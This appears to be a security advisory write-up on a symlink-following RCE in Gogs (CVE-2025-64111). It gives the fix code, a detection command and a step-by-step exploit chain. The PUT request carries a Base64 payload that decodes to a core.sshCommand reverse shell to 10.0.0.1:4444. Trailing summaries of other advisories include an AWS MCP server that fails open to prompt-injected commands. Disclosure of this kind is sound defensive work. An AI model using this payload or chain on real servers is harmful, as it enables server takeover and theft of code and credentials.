Feb 10, 2026·5 min read·141 visits
Gogs failed to recursively validate symbolic links in its file update API. Attackers can push a symlink to a repo, use the API to write through that link into `.git/config`, and achieve RCE via the `core.sshCommand` vector.
A critical Remote Command Execution (RCE) vulnerability in Gogs allows attackers to bypass directory restrictions via symbolic links. By tricking the API into writing to a symlink pointing at `.git/config`, an attacker can inject malicious Git configurations and execute arbitrary commands on the server.
There is a special place in a security researcher's heart for "failed patches." It’s that moment when a vendor fixes a vulnerability, pats themselves on the back, and completely misses the adjacent variation of the same bug. CVE-2025-64111 is exactly that—a zombie vulnerability rising from the grave of CVE-2024-56731.
Gogs, the lightweight, self-hosted Git service written in Go, had a problem. They knew users shouldn't be able to modify the internal .git directory via the API. They added checks. They added barriers. But they forgot one of the oldest tricks in the Unix handbook: Symbolic Links.
This isn't just a file overwrite bug; it's a logic flaw in how the application perceives the filesystem versus how the Operating System executes file operations. By exploiting this disconnect, we turn a simple "Update File" API endpoint into a full-blown Remote Command Execution (RCE) vector.
The root cause lies in a classic Time-of-Check to Time-of-Use (TOCTOU) discrepancy, specifically involving path resolution. The Gogs API endpoint PUT /api/v1/repos/{owner}/{repo}/contents/{filepath} allows users to update files in a repository. To prevent sabotage, Gogs checks if the target path is inside .git/ or other sensitive areas.
However, this check was superficial. It looked at the string of the filepath provided in the URL. If I request to update my_innocent_file.txt, the validator smiles and lets me pass. It fails to check if my_innocent_file.txt is actually a symbolic link pointing to .git/config.
When the Go backend executes os.WriteFile (or similar write operations), the OS standard library transparently follows symbolic links. The application thinks it's writing to a user file; the OS resolves the pointer and overwrites the repository's configuration. This is like checking an ID card at the front door but ignoring the tunnel dug straight into the bank vault.
Let's look at why the code failed and how it was fixed. The vulnerability existed because the validation logic didn't walk the filesystem tree. It trusted the path name.
The fix introduced in version 0.13.4 forces a recursive check. The developers added a helper function, hasSymlinkInPath, which splits the path into segments and runs os.Lstat on every single one of them. If any part of the chain is a symlink, the operation is aborted.
Here is the logic that killed the bug:
// The fix: explicitly walking the path to find symlinks
func hasSymlinkInPath(base, relPath string) bool {
parts := strings.Split(filepath.ToSlash(relPath), "/")
for i := range parts {
// Construct path segment by segment
filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
// Lstat reads the file info without following links
if osutil.IsSymlink(filePath) {
return true
}
}
return false
}This is a heavy operation—it requires multiple syscalls for every file write—but in a security context involving user-controlled filesystems, it is the only way to be sure you aren't writing where you shouldn't.
So we can overwrite .git/config. How do we get a shell? We use the core.sshCommand configuration option. This setting tells Git: "When you need to connect to a remote server via SSH, run this command instead of the default ssh binary."
Here is the attack chain:
Preparation: The attacker creates a Git repository locally.
The Trap: They create a symbolic link named innocent.txt pointing to .git/config and push this to the Gogs server.
ln -s .git/config innocent.txt
git add innocent.txt; git commit -m "oops"; git pushThe Trigger: The attacker uses the Gogs API to "update" innocent.txt. They send a payload containing a malicious Git config.
PUT /api/v1/repos/victim/repo/contents/innocent.txt
{
"content": "W2NvcmVdCiAgc3NoQ29tbWFuZCA9IC9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAmMSc=",
"message": "Updating documentation"
}(The Base64 decodes to [core] sshCommand = /bin/bash -c ...)
Execution: The attacker triggers any server-side Git operation that requires a remote connection (like a mirror sync or a test hook). Gogs executes git fetch, which reads the config, sees sshCommand, and executes the reverse shell.
This is a CVSS 9.3 for a reason. Gogs is often used to host proprietary source code, credentials, and CI/CD configurations.
Remote Command Execution on the Gogs server usually means:
Since the exploit requires authentication (to push the repo and call the API), it is technically "Post-Auth," but given that Gogs instances often have open registration or many low-privileged users, the barrier to entry is dangerously low.
If you are running Gogs <= 0.13.3, you are vulnerable. The fix is available in version 0.13.4 and the 0.14.0+dev branch.
find /path/to/gogs-repositories -name config -type f -exec grep -H "sshCommand" {} \;sshCommand in any repo config that you didn't put there, you have been compromised.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | <= 0.13.3 | 0.13.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-59 (Link Resolution) |
| Attack Vector | Network (API) |
| CVSS Score | 9.3 (Critical) |
| Impact | Remote Command Execution (RCE) |
| Exploit Status | PoC Available |
| Vector | Symlink Path Traversal |
Improper Link Resolution Before File Access ('Link Following')
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.